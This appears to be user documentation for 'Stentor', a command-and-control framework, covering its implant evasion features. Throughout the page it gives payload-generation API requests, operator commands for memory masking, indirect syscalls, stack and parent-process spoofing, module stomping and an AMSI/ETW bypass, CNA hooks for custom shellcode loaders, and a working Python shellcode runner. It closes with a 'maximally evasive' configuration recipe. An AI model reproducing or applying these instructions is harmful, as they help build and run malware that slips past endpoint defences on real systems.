Evasion Kits¶

Stentor provides 13+ evasion knobs that can be configured at payload generation time and modified at runtime via C2 tasks. This page covers every evasion option, the five custom kit systems, and a decision matrix to help you choose the right configuration for your target environment.

Overview¶

Evasion options fall into two categories:

• Build-time options are embedded into the payload binary during generation. They cannot be changed after deployment (e.g., Garble obfuscation, kill date, exit function).
• Runtime options are configured at generation time but can be modified via C2 tasks after the beacon is running (e.g., sleep masking, syscall method, BeaconGate).

graph LR
    A[Payload Generation<br/>API / CNA Hook] --> B[Build-Time Injection<br/>ldflags & build tags]
    B --> C[Compiled Binary<br/>EXE / DLL / Shellcode]
    C --> D[Runtime Evasion Config<br/>Modifiable via C2 Tasks]
    D --> E[Beacon Execution<br/>Sleep Mask · Syscalls · BeaconGate]

    style A fill:#6a1b9a,color:#fff
    style B fill:#4a148c,color:#fff
    style C fill:#311b92,color:#fff
    style D fill:#1a237e,color:#fff
    style E fill:#0d47a1,color:#fff

Evasion Options Reference¶

The table below lists every evasion-related field available in the payload generation request and the implant's EvasionConfig struct.

API Example¶

Generate a payload with sleep masking and indirect syscalls enabled:

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "evasion_options": {
      "sleep_obfuscation": true
    },
    "obfuscate": true
  }'

Sleep Masking¶

Sleep masking encrypts beacon memory during sleep intervals using XOR with a random key, preventing in-memory signature scanning while the beacon is idle.

What It Does¶

When sleep masking is enabled, the beacon:

1. Generates a random XOR key before each sleep cycle
2. Encrypts the .text section (executable code) so static signatures fail
3. Optionally encrypts heap allocations (heap mask) to hide in-memory strings
4. Optionally encrypts the thread stack (stack mask) to prevent stack-based detection
5. Sleeps for the configured interval
6. Decrypts everything and resumes execution

Sleep Methods¶

config sleep_method direct

config sleep_method timer_queue

Heap Masking¶

Heap masking encrypts registered heap allocations during sleep. This prevents EDR memory scanners from finding configuration strings, C2 URLs, or other indicators in heap memory while the beacon is idle.

config heap_mask true

Stack Masking¶

Stack masking encrypts the thread's call stack during sleep. This is experimental and may cause stability issues with certain Go runtime configurations.

config stack_mask true

Stack Spoofing¶

Stack spoofing fabricates call stack frames to hide beacon return addresses from stack walking tools (e.g., Hunt-Sleeping-Beacons, Patriot, Moneta). The spoofer:

1. Captures the real RBP via RtlCaptureContext
2. Walks the RBP frame pointer chain to identify beacon frames
3. Replaces beacon return addresses with legitimate system DLL addresses (RtlUserThreadStart, BaseThreadInitThunk, NtWaitForSingleObject, etc.)
4. Builds a synthetic RBP chain linking each spoofed frame to the next
5. Restores original values after sleep

config stack_spoof_depth 0

Set stack_spoof_depth to 0 to spoof all beacon frames, or to a specific number to limit how many frames are replaced.

Runtime Configuration¶

# Set sleep interval to 30 seconds
sleep 30

# Enable sleep masking
config sleep_mask true

# Switch to timer queue method
config sleep_method timer_queue

# Enable heap masking
config heap_mask true

# Enable stack spoofing (all frames)
config stack_spoof_depth 0

Syscall Obfuscation¶

Syscall obfuscation controls how the beacon invokes Windows API functions. Three modes are available:

Modes¶

config syscall_method none

config syscall_method direct

config syscall_method indirect

Comparison¶

BeaconGate¶

BeaconGate intercepts 25 specific Windows API calls and routes them through the configured syscall method (direct or indirect). This provides targeted hook bypass for the most commonly hooked APIs without requiring every API call to go through syscalls.

Gated APIs¶

The 25 APIs are organized by category:

Mask-on-Call¶

When mask_on_call is enabled, BeaconGate encrypts beacon memory before each gated API call and decrypts it after. This provides maximum evasion -- the beacon's memory is only readable for the brief moment the API executes -- but incurs higher CPU overhead.

Configuration via C2¶

# Enable BeaconGate
beacon_gate enable

# Enable mask-on-call
beacon_gate mask_on_call true

# Disable a specific API from gating
beacon_gate api VirtualAlloc false

# Re-enable a specific API
beacon_gate api VirtualAlloc true

Fallback Behavior¶

If a gated syscall fails (NTSTATUS error), BeaconGate automatically falls back to the standard Win32 API call. Fallback events are logged for operator visibility.

Artifact Kit¶

The Artifact Kit allows operators to replace the default cross-compiled implant binaries with custom loader binaries. Three template types are supported:

How It Works¶

When a custom template is provided via the API or a CNA hook, the relay uses the provided binary directly instead of cross-compiling the implant from Go source. The relay embeds the beacon shellcode at a known offset inside the custom binary.

CNA Hook¶

The EXECUTABLE_ARTIFACT_GENERATOR hook lets a CNA script intercept payload generation and return a custom binary:

# artifact_kit.cna -- Artifact Kit hook
on EXECUTABLE_ARTIFACT_GENERATOR {
    local('$filename $shellcode');
    $filename = $1;
    $shellcode = $2;

    # Pack shellcode into custom loader
    $loader = load_custom_loader($filename);
    return embed_shellcode($loader, $shellcode);
}

API Example¶

Provide a base64-encoded custom EXE template in the payload generation request:

# Base64-encode your custom loader
TEMPLATE=$(base64 -w0 custom_loader.exe)

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"delivery_type\": \"exe\",
    \"implant_variant\": \"standalone\",
    \"listener_id\": \"LISTENER_UUID\",
    \"custom_exe_template\": \"$TEMPLATE\"
  }"

Use Cases¶

• Pack beacon shellcode into a custom loader with additional evasion (process hollowing, fiber execution, ETW patching)
• Use a signed legitimate binary as a carrier
• Implement custom anti-sandbox checks before beacon execution

Resource Kit¶

The Resource Kit allows operators to customize non-binary payload templates -- scripts and documents used for initial access delivery.

CNA Hooks¶

Multiple hooks are available for different resource types:

Template Variables¶

The Python template receives Go template variables for shellcode injection:

Example custom Python template:

import ctypes

shellcode = bytes.fromhex("{{.ShellcodeHex}}")
buf = ctypes.create_string_buffer(shellcode)
func = ctypes.cast(buf, ctypes.CFUNCTYPE(ctypes.c_void_p))
func()

User-Defined Reflective Loader (UDRL)¶

UDRL replaces the default reflective loader with a custom binary that handles in-memory PE mapping. This gives operators full control over how the beacon payload is loaded into memory.

How It Works¶

1. The operator provides a custom loader binary via udrl_options.loader_binary (base64-encoded)
2. The custom loader binary is prepended to the beacon payload during generation
3. When injected, the loader executes first and maps the beacon PE into memory
4. The beacon begins execution after the loader completes PE mapping

Configuration¶

# Base64-encode the UDRL binary
LOADER=$(base64 -w0 custom_reflective_loader.bin)

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{
    \"delivery_type\": \"exe\",
    \"implant_variant\": \"shellcode\",
    \"listener_id\": \"LISTENER_UUID\",
    \"udrl_options\": {
      \"loader_binary\": \"$LOADER\"
    }
  }"

PE Cloning Options¶

UDRL payloads support PE cloning options to reduce IOC uniqueness:

Sleep Mask Kit¶

The Sleep Mask Kit allows operators to replace the default sleep mask implementation with custom Go source code.

How It Works¶

1. The operator provides custom Go source code that implements the SleepMaskKit interface
2. At build time, the custom source replaces the default sleep mask via the custom_sleepmask build tag
3. The custom implementation handles all memory encryption/decryption during sleep

Configuration¶

The Sleep Mask Kit can be provided through three mechanisms (in priority order):

1. CNA hook (highest priority): BEACON_SLEEP_MASK returns custom Go source
2. Kit templates DB: Upload source via the kit_templates API
3. Default implementation: Built-in sleep mask if no custom source is provided

CNA Hooks¶

Example CNA hook:

on BEACON_SLEEP_MASK {
    local('$variant $arch $options');
    $variant = $1;
    $arch = $2;
    $options = $3;

    # Return custom sleep mask source
    return read_file("custom_sleep_mask.go");
}

on SLEEP_MASK_KIT_BUILD {
    local('$filename $arch $default_flags');
    $filename = $1;
    $arch = $2;
    $default_flags = $3;

    # Add extra build tags
    return "$default_flags -gcflags=-N";
}

API Example¶

Upload a sleep mask kit template:

curl -s -X POST https://stentor.app/api/v1/kit-templates \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "sleepmask",
    "name": "sleep_mask_default",
    "content_text": "package evasion\n\ntype CustomSleepMask struct{}\n\nfunc (c *CustomSleepMask) MaskAndSleep(interval int) { ... }"
  }'

Drip-Loading¶

Drip-loading allocates memory in small page-sized chunks with configurable delays between allocations, instead of making one large allocation that EDRs flag.

How It Defeats Detection¶

EDR products correlate large memory allocations (VirtualAlloc with sizes > 100KB) with shellcode injection. Drip-loading defeats this temporal correlation by:

1. Allocating memory in small chunks (default: 4096 bytes / one page)
2. Inserting a configurable delay between each allocation (default: 10ms)
3. Committing each page individually so no single allocation appears suspicious

Two Modes¶

Configuration¶

API Example¶

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "drip_options": {
      "staging_enabled": true,
      "staging_delay": 50,
      "inject_enabled": true,
      "inject_delay": 20
    }
  }'

Additional Evasion Features¶

PPID Spoofing¶

Set the parent process for spawned child processes. Process tree analysis tools show the spoofed parent instead of the beacon process.

config ppid_target explorer.exe

Module Stomping¶

Back injected code with a legitimate DLL's memory section for MEM_IMAGE backing. Instead of allocating MEM_PRIVATE memory (which stands out in memory analysis), the beacon's code occupies a section that appears to belong to a legitimate DLL.

# Enable module stomping with a specific DLL
evasion module_stomp {"dll": "xpsservices.dll"}

# Disable module stomping
evasion module_stomp {"dll": ""}

Hardware Breakpoints (HWBP)¶

Use debug registers (DR0-DR3) and a Vectored Exception Handler (VEH) instead of inline memory patches for AMSI and ETW bypass. No modified bytes appear in scanned memory regions.

config hwbp_enabled true

Traditional AMSI/ETW bypass patches bytes in amsi.dll and ntdll.dll, which memory integrity scanners detect. Hardware breakpoints set debug registers that trigger a VEH before the function executes, returning a benign result without modifying any code bytes.

Guardrails¶

Restrict payload execution to systems matching specific patterns. Non-matching systems exit silently -- no crash, no error, no beacon.

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "guardrail_config": {
      "ip": "10.10.10.*",
      "domain": "corp.local"
    }
  }'

Garble Obfuscation¶

Enable Garble obfuscation at build time to randomize function names, remove debug symbols, and encrypt string literals. Each build produces a unique binary hash.

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "obfuscate": true
  }'

Garble is a build-time option. Once a payload is generated without obfuscation, it cannot be added retroactively -- regenerate the payload with obfuscate: true.

Evasion Decision Matrix¶

Use the following table to select the right evasion configuration for your target environment.

Example: Full Evasion Configuration¶

Generate a maximally evasive payload for a heavily monitored environment:

curl -s -X POST https://stentor.app/api/v1/payloads/generate \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "delivery_type": "exe",
    "implant_variant": "standalone",
    "listener_id": "LISTENER_UUID",
    "obfuscate": true,
    "kill_date": "2026-06-01T00:00:00Z",
    "exit_func": "thread",
    "evasion_options": {
      "sleep_obfuscation": true
    },
    "drip_options": {
      "staging_enabled": true,
      "staging_delay": 50,
      "inject_enabled": true,
      "inject_delay": 20
    },
    "guardrail_config": {
      "ip": "10.10.10.*",
      "domain": "corp.local"
    }
  }'

Then configure runtime evasion after the beacon checks in:

# Enable indirect syscalls
config syscall_method indirect

# Enable sleep masking with timer queue
config sleep_mask true
config sleep_method timer_queue
config heap_mask true

# Enable stack spoofing
config stack_spoof_depth 0

# Enable BeaconGate with mask-on-call
beacon_gate enable
beacon_gate mask_on_call true

# Set PPID spoofing
config ppid_target explorer.exe

# Enable hardware breakpoint AMSI/ETW bypass
config hwbp_enabled true